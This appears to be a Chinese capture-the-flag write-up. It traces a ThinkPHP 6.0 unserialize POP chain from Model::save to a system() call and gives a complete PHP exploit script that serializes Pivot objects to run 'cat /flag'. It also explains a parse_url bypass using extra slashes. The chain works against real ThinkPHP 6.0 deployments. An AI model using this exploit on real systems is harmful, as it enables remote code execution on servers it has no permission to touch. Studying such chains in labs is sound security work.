www.zip下载源码
index控制器
<?php namespace app\controller; use app\BaseController; class Index extends BaseController { public function index() { echo "<img src='../test.jpg'"."/>"; $paylaod = @$_GET['payload']; if(isset($paylaod)) { $url = parse_url($_SERVER['REQUEST_URI']); parse_str($url['query'],$query); foreach($query as $value) { if(preg_match("/^O/i",$value)) { die('STOP HACKING'); exit(); } } unserialize($paylaod); } } }
结合tp版本号6.0,利用tp反序列化漏洞,然后绕过parse_url即可
正好跟一下tp6.0的链子,直接把链条贴过来
save()
=> updateData()
=> checkAllowFields()
=>db() => __tostring()
=> toJson()
=> toArray()
=> getAttr()
=> getValue()
起点
vendor/topthink/think-orm/src/model.php中的Model类
令lazySave为true即可调用save方法
如果想要执行updateData则不能进入if分支,同时需要exists为true
这里isEmpty判断data是否为空,data不为空即可
让withEvent为false即可
此时进入updateData
这里第一个if分支不进入的方法和上面一样
第二个if分支要让data不为空,而在此之前data=$this->getChangedData()
这里return了1后data也满足不为空,令force为1且data非空即可返回1
下一步进入checkAllowFields函数
field和schema要为空才能执行db()
db()中判断table非空后,会进行table和suffix的字符串拼接操作,可以触发__toString
把table赋值为其他带有__toString方法的类即可
到此Model类中的构造已经完毕,而Model是一个abstract类,无法实例化,所以选用子类Pivot
在model/concern/conversion.php中的名为Conversion的trait中有__toString
跟进
再跟
默认情况会进入elif语句触发getAttr(),在名为Attribute的trait里面
看一下getData的作用
这里strict为true会直接返回name,然后getData返回$this->data[$name]
再跟进getValue()
这里$closure,$value,$this->data都是可控的,可以实现rce
$this->withAttr值为system,$this->data值为命令即可执行系统命令
exp(将将理解吧,面向对象的东西真是丰富多彩啊)
<?php namespace think{ abstract class Model{ use model\concern\Attribute; //因为要使用里面的属性 private $lazySave; private $exists; private $data=[]; private $withAttr = []; public function __construct($obj){ $this->lazySave = True; $this->withEvent = false; $this->exists = true; $this->table = $obj; $this->data = ['key'=>'cat /flag']; $this->visible = ["key"=>1]; $this->withAttr = ['key'=>'system']; } } } namespace think\model\concern{ trait Attribute { }
trait Conversion
{
}
}
namespace think\model{
use think\Model;
class Pivot extends Model {
}
$a = new Pivot('');
$b = new Pivot($a);
echo urlencode(serialize($b));
}
然后生成的payload传入时url后面多加两个/来绕过parse_url即可